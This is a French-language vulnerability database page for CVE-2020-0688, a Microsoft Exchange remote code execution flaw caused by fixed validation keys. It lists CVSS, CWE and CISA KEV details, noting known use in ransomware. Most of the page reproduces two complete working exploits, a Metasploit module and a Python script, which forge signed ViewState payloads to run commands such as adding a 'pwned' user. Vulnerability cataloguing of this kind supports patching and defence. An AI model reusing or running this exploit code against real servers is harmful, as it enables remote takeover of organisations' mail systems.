Faiblesses connexes
| CWE-ID |
Nom de la faiblesse |
Source |
| CWE-287 |
Improper Authentication
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. |
|
Métriques
| Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
| V3.1 |
8.8 |
HIGH |
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
[email protected] |
| V2 |
9 |
|
AV:N/AC:L/Au:S/C:C/I:C/A:C |
[email protected] |
CISA KEV (Vulnérabilités Exploitées Connues)
Nom de la vulnérabilité : Microsoft Exchange Server Validation Key Remote Code Execution Vulnerability
Action requise : Apply updates per vendor instructions.
Connu pour être utilisé dans des campagnes de ransomware : Known
Ajouter le : 2021-11-02 23h00 +00:00
Action attendue : 2022-05-02 22h00 +00:00
Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 48168
Date de publication : 2020-03-04 23h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'bindata'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
# include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
DEFAULT_VIEWSTATE_GENERATOR = 'B97B4E27'
VALIDATION_KEY = "\xcb\x27\x21\xab\xda\xf8\xe9\xdc\x51\x6d\x62\x1d\x8b\x8b\xf1\x3a\x2c\x9e\x86\x89\xa2\x53\x03\xbf"
def initialize(info = {})
super(update_info(info,
'Name' => 'Exchange Control Panel Viewstate Deserialization',
'Description' => %q{
This module exploits a .NET serialization vulnerability in the
Exchange Control Panel (ECP) web page. The vulnerability is due to
Microsoft Exchange Server not randomizing the keys on a
per-installation basis resulting in them using the same validationKey
and decryptionKey values. With knowledge of these, values an attacker
can craft a special viewstate to cause an OS command to be executed
by NT_AUTHORITY\SYSTEM using .NET deserialization.
},
'Author' => 'Spencer McIntyre',
'License' => MSF_LICENSE,
'References' => [
['CVE', '2020-0688'],
['URL', 'https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys'],
],
'Platform' => 'win',
'Targets' =>
[
[ 'Windows (x86)', { 'Arch' => ARCH_X86 } ],
[ 'Windows (x64)', { 'Arch' => ARCH_X64 } ],
[ 'Windows (cmd)', { 'Arch' => ARCH_CMD, 'Space' => 450 } ]
],
'DefaultOptions' =>
{
'SSL' => true
},
'DefaultTarget' => 1,
'DisclosureDate' => '2020-02-11',
'Notes' =>
{
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
'Reliability' => [ REPEATABLE_SESSION, ],
}
))
register_options([
Opt::RPORT(443),
OptString.new('TARGETURI', [ true, 'The base path to the web application', '/' ]),
OptString.new('USERNAME', [ true, 'Username to authenticate as', '' ]),
OptString.new('PASSWORD', [ true, 'The password to authenticate with' ])
])
register_advanced_options([
OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 0.5 ]),
])
end
def check
state = get_request_setup
viewstate = state[:viewstate]
return CheckCode::Unknown if viewstate.nil?
viewstate = Rex::Text.decode_base64(viewstate)
body = viewstate[0...-20]
signature = viewstate[-20..-1]
unless generate_viewstate_signature(state[:viewstate_generator], state[:session_id], body) == signature
return CheckCode::Safe
end
# we've validated the signature matches based on the data we have and thus
# proven that we are capable of signing a viewstate ourselves
CheckCode::Vulnerable
end
def generate_viewstate(generator, session_id, cmd)
viewstate = ::Msf::Util::DotNetDeserialization.generate(cmd)
signature = generate_viewstate_signature(generator, session_id, viewstate)
Rex::Text.encode_base64(viewstate + signature)
end
def generate_viewstate_signature(generator, session_id, viewstate)
mac_key_bytes = Rex::Text.hex_to_raw(generator).unpack('I<').pack('I>')
mac_key_bytes << Rex::Text.to_unicode(session_id)
OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha1'), VALIDATION_KEY, viewstate + mac_key_bytes)
end
def exploit
state = get_request_setup
# the major limit is the max length of a GET request, the command will be
# XML escaped and then base64 encoded which both increase the size
if target.arch.first == ARCH_CMD
execute_command(payload.encoded, opts={state: state})
else
cmd_target = targets.select { |target| target.arch.include? ARCH_CMD }.first
execute_cmdstager({linemax: cmd_target.opts['Space'], delay: datastore['CMDSTAGER::DELAY'], state: state})
end
end
def execute_command(cmd, opts)
state = opts[:state]
viewstate = generate_viewstate(state[:viewstate_generator], state[:session_id], cmd)
5.times do |iteration|
# this request *must* be a GET request, can't use POST to use a larger viewstate
send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'ecp', 'default.aspx'),
'cookie' => state[:cookies].join(''),
'agent' => state[:user_agent],
'vars_get' => {
'__VIEWSTATE' => viewstate,
'__VIEWSTATEGENERATOR' => state[:viewstate_generator]
}
})
break
rescue Rex::ConnectionError, Errno::ECONNRESET => e
vprint_warning('Encountered a connection error while sending the command, sleeping before retrying')
sleep iteration
end
end
def get_request_setup
# need to use a newer default user-agent than what Metasploit currently provides
# see: https://docs.microsoft.com/en-us/microsoft-edge/web-platform/user-agent-string
user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.74 Safari/537.36 Edg/79.0.309.43'
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'owa', 'auth.owa'),
'method' => 'POST',
'agent' => user_agent,
'vars_post' => {
'password' => datastore['PASSWORD'],
'flags' => '4',
'destination' => full_uri(normalize_uri(target_uri.path, 'owa')),
'username' => datastore['USERNAME']
}
})
fail_with(Failure::Unreachable, 'The initial HTTP request to the server failed') if res.nil?
cookies = [res.get_cookies]
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'ecp', 'default.aspx'),
'cookie' => res.get_cookies,
'agent' => user_agent
})
fail_with(Failure::UnexpectedReply, 'Failed to get the __VIEWSTATEGENERATOR page') unless res && res.code == 200
cookies << res.get_cookies
viewstate_generator = res.body.scan(/id="__VIEWSTATEGENERATOR"\s+value="([a-fA-F0-9]{8})"/).flatten[0]
if viewstate_generator.nil?
print_warning("Failed to find the __VIEWSTATEGENERATOR, using the default value: #{DEFAULT_VIEWSTATE_GENERATOR}")
viewstate_generator = DEFAULT_VIEWSTATE_GENERATOR
else
vprint_status("Recovered the __VIEWSTATEGENERATOR: #{viewstate_generator}")
end
viewstate = res.body.scan(/id="__VIEWSTATE"\s+value="([a-zA-Z0-9\+\/]+={0,2})"/).flatten[0]
if viewstate.nil?
vprint_warning('Failed to find the __VIEWSTATE value')
end
session_id = res.get_cookies.scan(/ASP\.NET_SessionId=([\w\-]+);/).flatten[0]
if session_id.nil?
fail_with(Failure::UnexpectedReply, 'Failed to get the ASP.NET_SessionId from the response cookies')
end
vprint_status("Recovered the ASP.NET_SessionID: #{session_id}")
{user_agent: user_agent, cookies: cookies, viewstate: viewstate, viewstate_generator: viewstate_generator, session_id: session_id}
end
end
Exploit Database EDB-ID : 48153
Date de publication : 2020-03-01 23h00 +00:00
Auteur : Photubias
EDB Vérifié : No
# Exploit Title: Microsoft Exchange 2019 15.2.221.12 - Authenticated Remote Code Execution
# Date: 2020-02-28
# Exploit Author: Photubias
# Vendor Advisory: [1] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688
# [2] https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys
# Vendor Homepage: https://www.microsoft.com
# Version: MS Exchange Server 2010 SP3 up to 2019 CU4
# Tested on: MS Exchange 2019 v15.2.221.12 running on Windows Server 2019
# CVE: CVE-2020-0688
#! /usr/bin/env python
# -*- coding: utf-8 -*-
'''
Copyright 2020 Photubias(c)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
File name CVE-2020-0688-Photubias.py
written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be
This is a native implementation without requirements, written in Python 2.
Works equally well on Windows as Linux (as MacOS, probably ;-)
Reverse Engineered Serialization code from https://github.com/pwntester/ysoserial.net
Example Output:
CVE-2020-0688-Photubias.py -t https://10.11.12.13 -u sean -c "net user pwned pwned /add"
[+] Login worked
[+] Got ASP.NET Session ID: 83af2893-6e1c-4cee-88f8-b706ebc77570
[+] Detected OWA version number 15.2.221.12
[+] Vulnerable View State "B97B4E27" detected, this host is vulnerable!
[+] All looks OK, ready to send exploit (net user pwned pwned /add)? [Y/n]:
[+] Got Payload: /wEy0QYAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADzBDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+DQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IkxhdW5jaENhbGMiIE9iamVjdFR5cGUgPSAieyB4OlR5cGUgRGlhZzpQcm9jZXNzfSIgTWV0aG9kTmFtZSA9ICJTdGFydCIgPg0KICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgIDxTeXN0ZW06U3RyaW5nPmNtZDwvU3lzdGVtOlN0cmluZz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc+L2MgIm5ldCB1c2VyIHB3bmVkIHB3bmVkIC9hZGQiIDwvU3lzdGVtOlN0cmluZz4NCiAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5PgvjXlpQBwdP741icUH6Wivr7TlI6g==
Sending now ...
'''
import urllib2, urllib, base64, binascii, hashlib, hmac, struct, argparse, sys, cookielib, ssl, getpass
## STATIC STRINGS
# This string acts as a template for the serialization (contains "###payload###" to be replaced and TWO size locations)
strSerTemplate = base64.b64decode('/wEy2gYAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAD8BDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+DQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IkxhdW5jaENhbGMiIE9iamVjdFR5cGUgPSAieyB4OlR5cGUgRGlhZzpQcm9jZXNzfSIgTWV0aG9kTmFtZSA9ICJTdGFydCIgPg0KICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgIDxTeXN0ZW06U3RyaW5nPmNtZDwvU3lzdGVtOlN0cmluZz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc+L2MgIiMjI3BheWxvYWQjIyMiIDwvU3lzdGVtOlN0cmluZz4NCiAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5Pgs=')
# This is a key installed in the Exchange Server, it is changeable, but often not (part of the vulnerability)
strSerKey = binascii.unhexlify('CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF')
def convertInt(iInput, length):
return struct.pack("<I" , int(iInput)).encode('hex')[:length]
def getYsoserialPayload(sCommand, sSessionId):
## PART1 of the payload to hash
strPart1 = strSerTemplate.replace('###payload###', sCommand)
## Fix the length fields
#print(binascii.hexlify(strPart1[3]+strPart1[4])) ## 'da06' > '06da' (0x06b8 + len(sCommand))
#print(binascii.hexlify(strPart1[224]+strPart1[225])) ## 'fc04' > '04fc' (0x04da + len(sCommand))
strLength1 = convertInt(0x06b8 + len(sCommand),4)
strLength2 = convertInt(0x04da + len(sCommand),4)
strPart1 = strPart1[:3] + binascii.unhexlify(strLength1) + strPart1[5:]
strPart1 = strPart1[:224] + binascii.unhexlify(strLength2) + strPart1[226:]
## PART2 of the payload to hash
strPart2 = '274e7bb9'
for v in sSessionId: strPart2 += binascii.hexlify(v)+'00'
strPart2 = binascii.unhexlify(strPart2)
strMac = hmac.new(strSerKey, strPart1 + strPart2, hashlib.sha1).hexdigest()
strResult = base64.b64encode(strPart1 + binascii.unhexlify(strMac))
return strResult
def verifyLogin(sTarget, sUsername, sPassword, oOpener, oCookjar):
if not sTarget[-1:] == '/': sTarget += '/'
## Verify Login
lPostData = {'destination' : sTarget, 'flags' : '4', 'forcedownlevel' : '0', 'username' : sUsername, 'password' : sPassword, 'passwordText' : '', 'isUtf8' : '1'}
try: sResult = oOpener.open(urllib2.Request(sTarget + 'owa/auth.owa', data=urllib.urlencode(lPostData), headers={'User-Agent':'Python'})).read()
except: print('[!] Error, ' + sTarget + ' not reachable')
bLoggedIn = False
for cookie in oCookjar:
if cookie.name == 'cadata': bLoggedIn = True
if not bLoggedIn:
print('[-] Login Wrong, too bad')
exit(1)
print('[+] Login worked')
## Verify Session ID
sSessionId = ''
sResult = oOpener.open(urllib2.Request(sTarget+'ecp/default.aspx', headers={'User-Agent':'Python'})).read()
for cookie in oCookjar:
if 'SessionId' in cookie.name: sSessionId = cookie.value
print('[+] Got ASP.NET Session ID: ' + sSessionId)
## Verify OWA Version
sVersion = ''
try: sVersion = sResult.split('stylesheet')[0].split('href="')[1].split('/')[2]
except: sVersion = 'favicon'
if 'favicon' in sVersion:
print('[*] Problem, this user has never logged in before (wizard detected)')
print(' Please log in manually first at ' + sTarget + 'ecp/default.aspx')
exit(1)
print('[+] Detected OWA version number '+sVersion)
## Verify ViewStateValue
sViewState = ''
try: sViewState = sResult.split('__VIEWSTATEGENERATOR')[2].split('value="')[1].split('"')[0]
except: pass
if sViewState == 'B97B4E27':
print('[+] Vulnerable View State "B97B4E27" detected, this host is vulnerable!')
else:
print('[-] Error, viewstate wrong or not correctly parsed: '+sViewState)
ans = raw_input('[?] Still want to try the exploit? [y/N]: ')
if ans == '' or ans.lower() == 'n': exit(1)
return sSessionId, sTarget, sViewState
def main():
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='Target IP or hostname (e.g. https://owa.contoso.com)', default='')
parser.add_argument('-u', '--username', help='Username (e.g. joe or
[email protected])', default='')
parser.add_argument('-p', '--password', help='Password (leave empty to ask for it)', default='')
parser.add_argument('-c', '--command', help='Command to put behind "cmd /c " (e.g. net user pwned pwned /add)', default='')
args = parser.parse_args()
if args.target == '' or args.username == '' or args.command == '':
print('[!] Example usage: ')
print(' ' + sys.argv[0] + ' -t https://owa.contoso.com -u joe -c "net user pwned pwned /add"')
else:
if args.password == '': sPassword = getpass.getpass('[*] Please enter the password: ')
else: sPassword = args.password
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
oCookjar = cookielib.CookieJar()
#oProxy = urllib2.ProxyHandler({'http': '127.0.0.1:8080', 'https': '127.0.0.1:8080'})
#oOpener = urllib2.build_opener(urllib2.HTTPSHandler(context=ctx),urllib2.HTTPCookieProcessor(oCookjar),oProxy)
oOpener = urllib2.build_opener(urllib2.HTTPSHandler(context=ctx),urllib2.HTTPCookieProcessor(oCookjar))
sSessionId, sTarget, sViewState = verifyLogin(args.target, args.username, sPassword, oOpener, oCookjar)
ans = raw_input('[+] All looks OK, ready to send exploit (' + args.command + ')? [Y/n]: ')
if ans.lower() == 'n': exit(0)
sPayLoad = getYsoserialPayload(args.command, sSessionId)
print('[+] Got Payload: ' + sPayLoad)
sURL = sTarget + 'ecp/default.aspx?__VIEWSTATEGENERATOR=' + sViewState + '&__VIEWSTATE=' + urllib.quote_plus(sPayLoad)
print(' Sending now ...')
try: oOpener.open(urllib2.Request(sURL, headers={'User-Agent':'Python'}))
except urllib2.HTTPError, e:
if e.code == '500': print('[+] This probably worked (Error Code 500 received)')
if __name__ == "__main__":
main()
Products Mentioned
Configuraton 0
Microsoft>>Exchange_server >> Version 2010
Microsoft>>Exchange_server >> Version 2013
Microsoft>>Exchange_server >> Version 2016
Microsoft>>Exchange_server >> Version 2016
Microsoft>>Exchange_server >> Version 2019
Microsoft>>Exchange_server >> Version 2019
Références
